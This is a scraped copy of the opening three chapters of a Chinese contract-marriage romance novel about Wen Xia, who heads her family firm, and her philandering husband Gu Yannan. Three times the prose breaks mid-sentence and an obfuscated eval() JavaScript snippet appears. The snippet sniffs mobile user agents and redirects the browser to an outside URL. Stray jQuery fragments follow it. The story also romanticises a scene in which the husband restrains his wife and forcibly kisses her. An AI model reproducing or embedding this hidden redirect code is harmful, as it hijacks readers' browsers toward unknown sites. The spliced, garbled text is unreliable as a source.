《迟慕》
1. 第 1 章
《迟慕》
文/从柠
2025.5.1/晋江文学城首发
——
[晚上的时间空出来,今晚回老宅吃饭。]
温夏十分钟后才看到这条短信,她拿起手机,靠着办公椅,问道:[我去找你,还是你来接我?]
等了一分钟,对面没回,温夏放下手机,拿着文件去找祁源。
推开办公室的门,总裁办空荡荡的,二十几个工位只有不到一半有人,看到她出来,纷纷抬起头。
温夏颌首,注意到最前排的林若雯盯着她,眼神复杂凝重。
“怎么了?”温夏问。
林若雯欲言又止:“……没事。”
温夏没有追问,拿着文件前往市场部。
途径茶水间,听到里面传来激烈的讨论声,大概是太激动,听起来像是在吵架。
“顾衍南也太过分了吧!婚前和女明星传绯闻就算了,婚后还这样,也不知道偷着藏着点,这不是赤.裸裸地打我们温副总的脸吗!”
“就是,再帅再有钱也没法原谅!最讨厌婚后还出去乱搞的男人了!”
“不过有一说一,顾大公子这张脸是真好看啊,身材也好,长得太他妈带劲了,还这么有钱……”
“那也是渣男!”
“咱们在这激动个什么劲的,温副总又不在乎,他们这种商业联姻跟咱们普通人的婚姻不一样,都是各玩各的。”
“啧,说的也是。”
“再说要是没有顾大公子,咱们温氏早就破产了,给钱给人脉给资源,就当金主爸爸供着呗,豪门阴私事多着呢,睁一只眼闭一只眼,面子上能过得去就行。”
“唉,温副总太可怜了。”
“温副总又漂亮又有钱,用得着你同情?这不是我们这种拿死工资的打工人该关心的事。”
“都散了吧散了——温、温副总?!!”
说散的这人率先发现站在门边的温夏,脸色瞬间变得煞白,尾音发颤。
工作时间聚在茶水间议论老板八卦的员工们僵在原地,纷纷朝门口看去,全都一副大白天撞见鬼的表情。
凭心而论,温夏给人的压迫感并不强,相反,她是很温柔古典的长相。标准的鹅蛋脸,五官柔和不失精致,杏眼圆润饱满,左眼眼角下的泪痣为这份寡淡清冷平添几分风情。
在这个明艳型长相占据主流审美的年代,很难找出这么标致的古典美人,黑色长直发自然垂落在肩膀上,看到她的第一眼,很容易让人想到一个成语——美人如画。
温软清丽,端庄温静,给人的感觉很好相处。
但事实并非如此,温氏人尽皆知,温副总性情冷淡,行事作风延续了温总的杀伐果断,不讲情面,月初借着一招釜底抽薪,肃清温氏管理层的蛀虫,走了大半的高管,人事一整个大变动。
开除他们这些基层员工,不过是动动嘴皮子的事。
更何况,本就是他们违反规章在先。
愣怔片刻,有人回过神,主动认错:“对不起温副总,我们不该在上班时间聊与工作无关的事。”
其他人跟着道:“对不起温副总。”
“对不起……”
温夏收回视线,面上看不出什么情绪:“下不为例。”
等温夏走远,茶水间的人才敢松气:“温副总的意思是不跟我们计较了吧?”
“嗯,应该是吧。”
“都怪渣男,害得老娘差点丢工作!”
旁边的人用手肘捣了她一下:“还说。”
那人撇了撇嘴,拿出手机:“我在群里说总行了吧。”
其他人显然也没八卦够,默契地对视一眼,纷纷拿出手机。
战场转到微信群,众人接着讨论温副总的丈夫——北城那位风流浪荡的贵公子顾衍南——和新晋影后林曦在机场深情对视的照片。
-
今晚温夏原本有饭局,但顾衍南要她回老宅陪顾爷爷吃饭,她只能把工作推给祁源。
将客户资料交给祁源,交代完注意事项,温夏回到办公室,刚坐下,手机屏幕亮起。
是顾衍南的短信:[你来新松公馆找我。]
温夏问:[几点?]
顾衍南:[六点到。]
温夏:[好。]
那边没再回复。
温夏放下手机,按下内线电话,喊林若雯进来。
这半年,温氏的经历可谓是跌宕起伏,从濒死到重生,有不少人跑路,总裁办走了一半的人,林若雯作为首席秘书,负责总裁办的招聘工作。
“温副总,按照您的要求层层删选,这是通过三面的名单,”林若雯递给温夏一叠资料,“您哪天有时间?我安排他们终面。”
毕竟这些人是要辅助温夏工作,还是她亲自挑最合适。
温夏想了想,今晚去顾爷爷那儿,必定会有新的任务,无论是顾爷爷还是顾衍南,都不可能迁就她的时间,等晚上问清楚再做安排。
“这周之内吧,具体时间我再通知你。”
工作汇报完,林若雯却迟迟未走,温夏掀起眼皮看她,林若雯紧盯着她,满脸愤慨,好似受了天大的委屈。
林若雯是妹妹温诗的闺蜜,小时候经常来家里玩,温夏接手温氏时,林若雯已经做到总裁办二把手的位置,工作能力很强,首席特助上个月跟着董事会的人走了,温夏便把她升为首席秘书。
温氏经历巨变,林若雯成夜成夜地加班,和祁源一起帮她稳住公司的基本运作,再加上有妹妹那层关系,见她有话要说,温夏温声问:“若雯,有什么事吗?”
温夏的声音和她的长相相符,温柔好听,给人一种如沐春风的感觉。林若雯更委屈了,咬咬牙和盘托出——
“夏夏姐你看!”
说着,她走到温夏身侧,将手机递给她,“公司群里都在议论这件事!”
联想到在茶水间听到的,温夏猜了个七七八八,她已经做好是吻照或者是亲密照的心理准备,原来只是一张对视的照片。
屏幕上的大字新闻标题写着:[商界大佬顾衍南和新晋影后林曦一同回国,机场深情对视,影后为爱不顾小三骂名!]
配图是两人静静对视,林曦眼里的深情很轻易就能看得出,但顾衍南——他长了双看狗都深情的桃花眼,温夏看不出他是真深情还是假深情。
矜贵优雅的男人与穿着纯白色长裙、清高端庄的女人对视,那双勾魂摄魄的桃花眼看着女人,唇角勾起浅淡的弧度,似是心情不错。
温夏见怪不怪,有些惋惜林曦好好的一个影后,为什么要飞蛾扑火。
她不是第一个,也不会是最后一个。
和有妇之夫扯到一起,她的完美女神形象会受到负面影响。
值得吗?
见温夏迟迟不说话,林若雯急着道:“夏夏姐,该怎么处理这件事啊?”
温夏和顾衍南结婚后,温家和顾家的利益绑到一起,顾衍南和女明星传出绯闻,会影响到温氏的股价。
但比起股价,林若雯更担心温夏的心情。
“不用管,”温夏把手机还给她,“营销号炒作,过两天就没人提了。”
林若雯接过手机,犹豫几秒,还是问了出来:“夏夏姐,你不难过吗?”
难过不至于,就是觉得有点麻烦。
顾爷爷估计会觉得她没用,管不住自己的丈夫。
见她面露担忧,温夏想到妹妹,多解释了句:“我和他不是正常的夫妻关系,你可以理解成我和他是合作关系,他的私生活干净还是混乱,不归我管,我也不关心。”
开放式的婚姻关系对温夏来说是很容易理解接受的,因为她的父母就是这样,身边不少人也是这种相处模式,但对家庭美满的林若雯来说有些接受困难。
她认真地看着温夏,见她无论是眼神还是表情都没有半分在意和伤心,虽不理解,却松了口气:“你不难过就好。”
温夏对她笑了笑。
“抱歉温副总,我以后不会再拿这种事烦你了。”林若雯后知后觉感到不好意思,摸摸鼻子。
“没事,去忙吧。”
“嗯!”
林若雯走后,办公室恢复安静。
温夏盯着电脑屏幕看了几分钟,晃动鼠标,投入进工作中。
-
考虑到北城晚高峰的路况,温夏五点半就走了,临走前把整理好的资料交给祁源,乘坐电梯下楼。
路上遇到车祸追尾事故,堵了十几分钟,紧赶慢赶,到新松公馆的停车坪,还是晚了三分钟。
她生平极少会迟到,一次是领证那天,因安慰抱着她哭让她不要结婚的温诗,晚到八分钟。
第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520448|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二次就是这次。
都是在顾衍南面前。
那辆低调奢华的黑色宾利已经到了,温夏下车,踩着高跟鞋快步走过去。
一位西装革履的年轻男人站在车旁,见她过来,恭敬地拉开后车门。
温夏低声道谢。
车门打开,清冷的木质香夹杂着一缕浅淡的茶花香,温夏微怔,回过神,弯腰上车。
偏头看向身侧的男人:“抱歉,路上有点堵。”
顾衍南掀起眼皮,淡淡扫她一眼。
他的半张脸隐在阴影里,鼻骨高而挺,脸部轮廓利落分明,那双勾人的桃花眼微微上挑,瞳仁漆黑,如同引人深陷的黑洞,神秘淡漠。
客观评价,这幅挑不出毛病的完美皮囊和高高在上的矜贵气场,确实值得任何人飞蛾扑火。
顾衍南没理她,温夏也没热脸贴冷屁,收回视线,看向她这侧的车窗。
路旁绿植枝叶繁茂,常年不变,无论冬夏。
黑色宾利涌入川流不息的柏油马路,车门紧闭,那缕浅淡的茶花香气被无限放大,温夏闻着有些刺鼻,落下一点车窗。
春日晚风吹散车内的香水味,温夏靠着椅背,正要拿手机,身侧响起冷淡的男声:“关上,有雾霾。”
矫情。
温夏小幅度地皱了下眉,关上车窗。
好在香水味并不浓,已经几乎闻不到了,温夏拿出手机回复工作邮件。
坐在副驾驶的周之恒从后视镜瞥了眼,顾总阖眸休憩,太太低头看手机。
两人之间的距离能坐下一个两百斤的胖子,谁也不理谁。
就这样维持着死寂的沉默,四十分钟后,车子停在顾家老宅门前。
温夏匆匆回复完最后一封邮件,也不知道是不是手机真的能监听到人说话,跳出一条推送,她不小心误触,打开界面,才发现是顾衍南和林曦的绯闻。
下意识看了眼身侧的男主人公,顾衍南恰好朝她这边看,顿了下,视线落到亮着的屏幕上。
温夏有些尴尬,抿了抿唇,刚要摁灭,就听他说:“假的。”
声音不冷不热,听不出什么情绪。
跟她解释做什么?
温夏不知道该怎么回,就哦了一声。
顾衍南幽暗如深潭的目光在她脸上停留片刻,眼神清冷,没有任何温度。
温夏已经转过头,没注意到他的神情。
巷口路窄,车不好开进去,两人在路口下车,并排往里走。
天已经黑了下去,只有微弱黯淡的光,走到主宅门口,顾衍南突然停了下来。
温夏微愣,不明所以地抬头看他。
“手。”顾衍南淡声提醒,语气有几分不耐。
虽然他们俩说好保持开放式的夫妻关系,但那是背着顾爷爷的私下约定,在顾爷爷面前,他们需要表现出和谐亲密的夫妻关系。
毕竟这个婚就是结给顾爷爷看的。
温夏刚刚在想顾衍南为什么要和她解释绯闻的真假,一时忘记这茬。
她垂眼,看向顾衍南的手。
造物者过于偏爱他——家世显赫,身材完美,容颜惊艳,就连这双手也漂亮到能单独出圈。掌面冷白,手指修长,骨骼分明,根根泛着淡淡青筋的脉络沿着手腕没入衬衫袖子之下。
这是一双能满足手控所有幻想的手。
熟练将自己的胳膊穿进他的臂弯,温夏挽上他的手臂,她的掌心贴合他臂弯的弧度,一丝不苟的黑衬衫被微微压出褶皱。
顾衍南抬腿,不紧不慢地往里走。
温夏踩着高跟鞋,快步跟上。
走动间,肢体摩擦。
隔着昂贵丝滑的布料,温夏隐隐能感觉到他脉搏的跳动。
“你今天刚回来吗?”婚礼后的这一个多月他们没有任何联系,怕等会儿在顾爷爷面前说漏嘴,温夏提前问清楚。
顾衍南淡淡道:“嗯。”
“上午下午?”
“上午。”
“几点?”
顾衍南偏眸看她一眼,没什么情绪地道:“上午十点,飞机落地后去公司,下午三点去新松公馆应酬,一直到五点五十。”
温夏一噎。
“顾太太,还有什么要问的?”语气中有种对她查户口式询问的不耐。
温夏垂眸,摇头:“没有了。”
2. 第 2 章
顾衍南的父母在他还不记事时就去世了,家中只有顾老爷子顾远江一个长辈,顾衍南是顾爷爷养大的,对他极为孝顺。
孝顺到只因顾爷爷看中她,说娶就娶。
他们到的时候,晚餐已经备好,顾老爷子看到两人手挽着手一起进来,紧蹙的眉头缓了缓,发话:“去洗手,可以吃饭了。”
“好。”
家里除了顾老爷子,还有刚认祖归宗没多久的阮眠,以往的饭桌上沉默到只有餐具碰撞的声音,但阮眠不适应,顾老爷子便破了“食不言”的戒律。
“哥,美国那边的事处理好了吗?你这次出差了一个多月,我和爷爷都想你了。”阮眠实在受不了干吃饭不说话的死寂,努力找话题活跃气氛。
顾衍南对待妹妹的态度温和,很有长兄风范:“处理的差不多了,你事务所筹备得怎么样?有什么需要我帮忙的?”
阮眠弯眼笑了笑:“都很顺利,谢谢哥。”
阮眠这些年流落在外,受了不少苦,顾衍南用公筷给她夹了块排骨,阮眠道谢,看向一旁的温夏,对顾衍南道:“哥,你给嫂嫂也夹一块呀,放的太远了,她夹不到。”
“嫂嫂很喜欢吃小排骨,对吧嫂嫂?”阮眠冲温夏眨了下眼。
温夏笑了下:“嗯。”
阮眠和顾老爷子一样,认为他们是正常的夫妻关系,只是相处的时间太短才这么疏离,努力想要撮合他们。
顾衍南一连夹了三块小排骨,放到温夏的餐盘里,“吃吧。”
温夏礼尚往来,用公筷给他夹了块面前的羊肉。
阮眠眼皮一跳,刚想说点什么,看见最讨厌吃羊肉的哥哥夹起那块羊肉,送入口中。
她默默把话咽了下去。
有阮眠活跃气氛,这顿饭吃的还算和谐,饭后,顾老爷子提起正事:“明湖公馆那边的房子已经装修好了,你们打算什么时候搬过去?”
领完证后,温夏搬到顾衍南住的公寓,明湖公馆的别墅是顾老爷子送给他们的婚房,当初说好婚礼后搬过去,但婚礼后顾氏在美国的分公司出了事,顾衍南一连在美国待了一个多月,今天才回来。
顾衍南随口道:“就这两天。”
“尽快。”顾老爷子杵着拐杖,看向温夏和顾衍南,浑厚的嗓音带着不容置哙的强势:“你们俩工作都忙,我跟张婶说过了,她会去新房子照顾你们。”
温夏一怔,下意识看向顾衍南,后者皱了皱眉,温夏知道他边界感极强,特别讨厌别人入侵他的私人空间,现在住的这个公寓,没有住家保姆,只有钟点工定时打扫卫生。
果不其然,她听到顾衍南反对:“家里有人不方便,我们能照顾自己。”
“你能照顾什么你照顾!”顾老爷子怒道,“你那胃病就是长期只喝酒不吃晚饭糟蹋的,等老了有的你受的,这事没得商量!”
顾衍南皱了皱眉,没吭声。
顾老爷子那个来气,正要发火,阮眠及时熄火:“爷爷,家里有人确实不方便,要不就让张婶每天去给哥哥嫂嫂做顿晚饭,不住家里,这样既能照顾哥哥嫂嫂,又不会太打扰他们的生活。”
顾老爷子压制怒火,瞪了顾衍南一眼。
顾衍南淡声:“可以。”
顾老爷子看向温夏:“小夏,你觉得呢?”
温夏能怎么觉得,她点点头:“我没问题的,爷爷。”
“那就这么决定了。”顾老爷子拄着拐杖起身,“眠眠,你陪你大嫂在客厅聊会天,我跟你哥去书房谈点事。”
阮眠:“哦!”
顾老爷子和顾衍南走后,客厅只剩下温夏和阮眠。
顾衍南和林曦绯闻的事阮眠一个在网上冲浪的年轻人自然知道,刚刚嫂嫂去洗手间,她趁机问了哥哥来龙去脉,哥哥没有多说,只说是假的,已经撤热搜了。
阮眠没有傻到直接提这件事,她找了个轻松的话题:“嫂嫂,听说你们公司在招聘财务总监。”
温夏:“对。”
“我有个同学之前在安平公司做财务总监,她想来北城生活就辞职了,学历背景和工作能力都很强,嫂嫂你需要的话我把她的联系方式发给你。”
温夏迟疑一下,她并不想和顾衍南的妹妹有太多的交集,但小姑娘太真诚,让人不忍拒绝,而且温氏现在重要的岗位都缺人,财务部这种核心岗位更要安排自己人。
略一思索,温夏接受她的善意:“谢谢你眠眠。”
阮眠弯起眼睛,“小事,我晚上和她说一声,然后把她的简历发给你。”
“好。”
见话题铺垫的差不多了,阮眠清了清嗓子,替自家哥哥说了句好话:“嫂嫂,其实哥哥很在乎你,他只是性格比较闷,不说出来而已。”
性格闷的人会隔三差五和女明星上热搜吗?
温夏没说什么,只扯了下嘴角。
“真的嫂嫂,”阮眠急着道,“我哥他可讨厌吃羊肉了,之前我给他夹了一块,他说味道难闻没吃,你给他夹他就吃,因为他不想辜负你的好意。”
那是在做戏给顾爷爷看。
温夏不想再听阮眠说“顾衍南有多在意她”,扯开话题:“我会和你哥好好过日子的。你呢?最近和江肆怎么样?”
提到男友,阮眠顿时有些害羞:“还行,就那样吧……”
-
回去的路上,温夏想到总裁办面试的事,看向正在拨弄平板的顾衍南,问道:“我们哪天搬家?”
顾衍南掀眸看她:“你有事?”
温夏:“嗯,你定下搬家的时间,我把那天空出来。”
默了两秒,顾衍南说:“明天下午。”
“噢。”这么快。
难得他有时间,且态度还不错,估计刚才顾爷爷喊他去书房是说绯闻的事,嘱咐他对她这个老婆好一点,温夏趁机把要问的事情一股脑问了出来。
“你不喜欢吃羊肉吗?”
顾衍南稍顿,淡淡扫她一眼。
温夏:“眠眠说你不爱吃,你还有什么不吃的?”
以后在饭桌上,难免还会遇到互相夹菜这种剧情,提前问清楚他的喜好,别到时候给他夹了不爱吃的,他不吃,她尴尬。
顾衍南低眸。
她的眼睛黑白分明,坦率地看着他,等着他回答。
好似真的对“他不爱吃什么”这个话题感兴趣。
“羊肉、洋葱、香菜、韭菜,还有其他味道难闻的,都不吃。”顾衍南回道。
还挺难伺候的。
温夏在心底默默评价,接着问:“你有什么特别喜欢的吗?”
“我不挑食。”
“噢。”问清楚他的喜好,温夏没想着顾衍南会问她的,主动说出她不爱吃的菜,再三强调她很讨厌内脏和鸭血,以防他误夹给她。
顾衍南随口应了声,也不知道记没记住,低头看平板。
温夏把想问的问完了,没再烦他,拿出手机问祁源应酬进展如何。
回到家,各自回房。
当初领完证,顾爷爷让他陪她搬家,他表面应好,背地里让助理帮她搬的,助理领她去的次卧,说:顾总说您住这间。
温夏就在次卧住了小半年。
这套公寓位于北城的金融中心,地理位置很好,透过联排的落地窗,江景一览无余,建筑风格奇特的摩天大楼,飘在江上的轮渡,美不胜收。
温夏回房洗完澡,看到祁源回“刚结束”,给他打了个电话。
项目进展的并不顺利,祁源被灌了不少酒,说话的声音有些轻飘飘的,温夏挂掉电话后,在外卖软件上给他点了一盒解救药,把订单界面发给他,让他记得拿。
十分钟后,祁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520449|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源发给她一张照片,示意他拿到了药。
温夏回:[早点休息,明天见。]
祁源:[你也是。]
放下手机,温夏觉得嗓子有些干。
晚饭按照顾老爷子的口味做的,对她来说偏咸,出门去厨房找水喝。
灌了口冰水,嗓子舒服许多,温夏又喝一口,一道高大挺拔的身影突然闯入她的视线之中。
顾衍南显然是要出门,穿着白衬衫黑西裤,衬衫卷至手腕,小臂的肌肉线条分明。
见她手里拿了瓶冰水,他眯着眼,深邃晦暗的目光在她的脸上停留几秒,随后挪开,语气淡淡:“少喝点凉的。”
每次生理期都疼得要死要活,还不长记性。
顾爷爷今天估计念叨他不少话,只有他们两个人在这,他居然会关心她喝的是冷水还是热水,温夏有些意外,愣了片刻,回他:“知道了。”
温夏没有敷衍的意思,只是不知道该说什么,但听起来话里的敷衍意味很浓。
顾衍南眼神冷了下来,拿着车钥匙离开。
他彻夜不归是常有的事,温夏习以为常。
她和顾衍南是去年年底领的证,到现在四个多月,虽然领完证没多久她就搬了过来,但他工作很忙,经常性去外地或者国外出差,不出差也是和朋友在外面玩,很少睡在家里。
“砰”的一声,门关上,客厅陷入死寂般的安静。
温夏在原地站了会儿,拿着剩下的半瓶冰水去了书房。
温夏从小对做生意就没有兴趣,有大哥在,她乐得清闲,大学在清大美院念的造型艺术,毕业后去伦敦接着念书,从未接触过商科,对管理公司一窍不通。
大哥出事后,她接管温氏,被迫接触枯燥无聊令人头疼的商业知识。奈何基础为零,温夏只能抽时间恶补,今晚恰好没事,她打开祁源推荐给她的课。
因为实在没空上线下课,便和老师商量把课上的内容录下来,这堂课近三个小时,讲的是商业运作中的法律风险,第一个part结束,用了五十分钟,温夏听得头晕脑胀,水已经喝完,她暂停网课,去厨房拿水,顺便透透气。
习惯性打开冰箱,指尖碰到瓶身,冰的她手指一颤,温夏莫名想到顾衍南临走前的那句“少喝点凉的”,顿了几秒,最后拿了瓶常温的。
灌了一口水,拧紧瓶盖,温夏正要回去,听到开门声。
温夏微怔,下意识看向门口,顾衍南推门走进来,面无表情的。
“你怎么回来了?”温夏脱口而问。
餐厅光线明亮,她一身白色睡裙,黑色长发,冷光下的皮肤白的不像黄种人该有的肤色。
顾衍南弯腰换鞋的动作一顿,抬眸,没什么情绪地看她一眼,“我不能回来?”
谁惹他生气了吗?
冲她凶什么的。
温夏抿抿唇:“我没有那个意思。”
撂下这句话,温夏抓起水瓶,转身想走。
“站住。”他对她说话习惯性用命令式的语气,温夏闭了下眼睛,顺从地站在原地。
“还有什么事吗?”
顾衍南看她这幅乖顺的模样,眯起眼,沉声:“过来。”
温夏抬腿,朝他走过去。
还没走到他跟前,一双手突然攥住她的手腕,温夏还没反应过来,腰就被按在岛台上,微凉指骨扣住她的后颈,顾衍南的唇落下来。
在碰到她唇的前一刻,温夏脑中闪过他和林曦对视的照片,下意识偏过头。
湿濡的触感落在她的侧脸。
身上的人有一瞬间的僵硬。
下一刻,那双骨节分明的漂亮手指扣住她的下巴,强势将她的脸掰回来。
温夏被迫和他对视。
顾衍南居高临下地看着她,眼神和声音如出一辙的阴冷:“你躲什么?”
3. 第 3 章
温夏不知道其他开放式婚姻关系的夫妻有没有性生活,她和顾衍南是有的。
关于性,温夏算不上开放,也不保守,她毕竟在伦敦生活六七年,再加上早在成人礼那晚就和顾衍南做了,两人还保持了一个多月的炮友关系。
和顾衍南上床这件事对她来说并不难接受。
只是,考虑到自己的健康,她提了个要求,和她做的期间他不能找其他女人,等他找到新的床伴,两人就结束夫妻生活。
顾衍南当时只淡淡回她一句:“我没那么饥不择食。”
在这方面,温夏相信,他这种眼睛长在头顶上的天之骄子倒不至于骗她,但当时的约定只有不能上床,没说不能接吻。
她不想和其他女人亲同一张嘴。
“你和那个女明星接吻没有?”温夏不愿在这种没意义的事上纠结,也不想让自己膈应,直接问了出来。如果他说有,她就顺理成章地提出结束夫妻生活。
话音落下,有一瞬的死寂。
两人都是纯黑色的瞳仁,静静地对视。
顾衍南盯着她的眼睛,语气听不出什么情绪:“你介意?”
“介意。”
“介意什么?”
温夏看着他:“我不想和其他女人亲同一张嘴。”
她在这方面向来坦诚,性和爱她分的很开,她清楚地知道,性也是有占有欲的,无关情爱,动物的天性而已。
温夏看顾衍南盯着自己,却一直不回答她,喉咙募地发紧,垂在身侧的手慢慢攥起来。
她深吸一口气:“以后我们……”
刚起了个话头,顾衍南扶着她的下颌,低头重重吻了下来。
温夏大脑短路三秒,而后本能地剧烈挣扎,顾衍南将她的双臂反锁到身后一把扣住,另一只手扣着她的下巴,吻得更加霸道。
他喝了酒,呼吸间有浓烈的酒气。
手不能动,温夏用脚去踢他,顾衍南像是能提前预料到她的动作,一把将她抱到中岛台上,双腿抵住她的膝盖,用力将她的腿分开,不给她动弹的余地。
手脚都被制服住,温夏胸口剧烈起伏,在他舌尖探进来时她用力咬了下去。
舌尖刺痛直达心脏,顾衍南疼的瞳孔骤然紧缩,温夏趁机用力推开他。
顾衍南被她推得后退一小步,温夏也没了力气,坐在岛台上喘着粗气,因情绪激烈波动,眼睛染上红。
吊灯在头顶,洒下冷白光线,温夏看他盯着自己,下颌线条紧绷,森冷的眼神中是毫不掩饰的怒意。
刚才那一下她用了全力,咬下的瞬间尝到他口中的咸腥味,当时只想着让他别碰她,根本没想这么多。
恢复冷静后,温夏有一丝的心虚,顾衍南不是现在的她能随意得罪的。但已经咬了,温夏为自己的野蛮行径辩论:“是你不顾我的意愿亲我在先,我说过,我不想和其他女人亲同一张嘴,你亲了她就不要亲我。”
嘴里一股咸腥味,顾衍南缓过舌尖那股刺痛,低头看她,嘲讽的话正要出口,触到她泛红的眼眶。
一盆冷水兜头浇了下来,怒意和那股莫名的烦躁瞬间被浇灭,看着那双黑白分明的眼睛上的那抹红,心脏微不可觉地怔住。
温夏很少在他面前表露自己的情绪,永远是那副虚伪温顺的假笑脸,不过她足够聪明,掌握着真假之间的“度”,外人看来只会觉得她懂事理智有分寸,秦尧笑称她是“教科书式的名媛、行走的豪门贵妇模板”。
从某种意义上来说,确实如此,她很适合做顾太太。
今晚是秦尧的生日,他到的时候,相熟的那几个人都走了,秦尧一个人在喝闷酒,看到他来,忍不住抱怨。
“你说这叫什么事儿啊!这还没到十点呢,一个个都走了!傅斯言说明天要送他老婆上学,江肆去陪你妹了,沈青砚去他前妻家给他闺女喂奶了,霍瑾深被明央喊走了,最恶心人的是刘郁那狗东西,说什么她老婆怕黑,一个人睡觉害怕,得回去陪她,他妈的快三十的人了一个人睡觉还害怕,矫不矫情!”
随着年纪渐长,他们这几个人除了秦尧还单着,其余的人都结了婚有了伴,聚会自然不如以前多,每次喊人不是在陪老婆就是在追老婆,今天看在秦尧生日的份上,人来是来了,但一过九点半就都走了。
秦尧看着结婚跟没结一样潇洒自在的顾衍南,不禁感慨:“还是温夏最懂事大度。”
她确实懂事大度,从不干预他的私生活,他彻夜未归,她从不会打电话催,连发条短信问他“回不回来”“几点回来”都没有过。
这话让顾衍南生出一股莫名的烦躁,喝了杯酒就回来了。
一回到家,她上来就是一句“你怎么回来了”,好像他不该回来似的。
胸口涌上一股躁意,让顾衍南想要发泄到她身上,她却不给他亲,还差点把他的舌头咬下来。
看着那双泛红的眼眶,顾衍南滚了滚喉结,压下怒意,沉声:“我不是说过假的。”
是说过。
但他没回她,让她误以为他们亲过。
温夏指出这点:“我刚才问你,你为什么不说?”
顾衍南没回她这个问题,盯她看了两秒,收回视线。
“我如果和别的女人有点什么,会第一时间让你知道,没跟你说,不要瞎猜。”撂下这句话,他转身回房。
温夏看着他的背影,等他进屋关门,抬手摸摸湿润的嘴唇。
没理解错的话,他这句话的意思是他没有和其他女人接吻,紧绷的神经陡然一松。
顾衍南是北城出了名的浪荡公子哥,身边来往的女人不断,这点温夏早就清楚,顾衍南也从未掩饰,她早在做出结婚这个决定时就考虑到这种情况,不存在谁骗谁谁对不起谁。
他们的关系从一开始就很坦诚,只有性不谈情,她不能给他找麻烦。
温夏很满意这种清清楚楚的关系,如她和林若雯说的那样,不论顾衍南的私生活干净还是混乱,她不会管也管不了,这不关她的事。
但她没法接受他刚和其他女人接过吻,转头亲她。
太恶心了。
顾衍南做出这个承诺,温夏稍稍松了口气——她现在没资格和顾衍南叫板,他想做,她就得陪他。
她只能在他的底线范围内,尽可能提出她的条件,好让自己没那么膈应。
在岛台上坐了会儿,温夏深呼一口气,跳了下来,不紧不慢走回书房。
-
不知是不是看网课太累的缘故,这一觉温夏睡得很沉,醒来时身心舒畅,她仰头半分钟的天花板,下床洗漱。
时间还算宽裕,温夏去厨房做早餐,打算给自己和祁源做三明治
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520450|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,拿面包片的时候,温夏想到自己昨晚咬了顾衍南的舌头。
昨天在茶水间八卦的员工没说错,如果没有顾衍南,温氏早就破产了,他不仅给她钱,还给她资源和人脉,让她借着顾太太的名头拿下不少合作。
而她只需要帮他应付顾爷爷。
真论起来,这段婚姻,她占了大便宜。
豪门联姻各玩各的,温夏从小见过太多,她父母便是如此,顾衍南对她还算可以,虽然偶尔阴晴不定,但在温夏能忍受的范围内。
她不想打破他们之间稳定和谐的关系。
于是,温夏多拿了一份面包片,给他也做了一份。
她的厨艺一般,不过毕竟一个人在伦敦生活多年,三明治还是会做的,捣鼓十来分钟,正在组装三明治,门口响起脚步声。
温夏回过头。
顾衍南刚结束每日一小时的晨跑,穿着一身灰色的休闲服,比起西装革履的精英穿搭,少了几分高高在上的冷漠,显得随性慵懒。
他瞥了温夏一眼,去冰箱拿了瓶冰水,仰头灌了一口,性感的喉结滚动,手臂肌肉线条分明。
温夏看着他喝水,心想不让自己喝凉的,他倒是一大早空腹喝冰水。
腹诽两句,等他拧紧瓶盖,她问:“那个,你舌头怎么样?”
顾衍南一顿,转过身看她,语调淡淡:“没断。”
他抵了下那条被她咬的很深的口子,估计没半个月好不了。
“对不起,我昨晚不是故意的。”温夏诚恳道歉。
今天她穿着一身职业套装,白色衬衫和烟灰色阔腿西裤,脊背挺得笔直,黑色长发用发圈挽了起来,几缕碎发落在锁骨上。
顾衍南喉咙募地发紧,他拧开瓶盖,又灌了一口冰水。
温夏见他不欲理自己,习以为常,耐着性子问:“我做了三明治,你要吃吗?”
顾衍南朝操作台上看了眼,餐盘里摆着三份三明治,他皱了下眉:“我饭量没那么大。”
一个成年男人连个三明治都吃不下吗?温夏顺着他的视线看向餐盘,知道他误会了,解释道:“只有一个是给你的,你要吃的话我给你单独装起来。”
熹微晨芒落在她眸中,闪着细碎的光。
她直勾勾地看着他,顾衍南收回视线,不冷不热地嗯了声。
“那我给你放在餐桌上,我去公司了。”温夏动作利落地打包三明治。
“嗯。”顾衍南回房洗澡。
等他出来,餐厅早已没了人影,餐桌上放着一个简单的褐色包装袋,他走过去,随手翻了翻,里面除了三明治,还有一小盒水果和牛奶。
没什么意义地扯了扯唇,顾衍南拎着袋子下楼。
周之恒在车库等他,手中拿着一份顾衍南常吃的那家早餐。他不爱外人打扰,所以家里没有住家保姆,也没请专门的家政给他做早餐,他的早饭多是周之恒准备的。
好奇地瞥了眼顾总手里的包装袋,袋子上只有几个字母,看不出里面是什么。
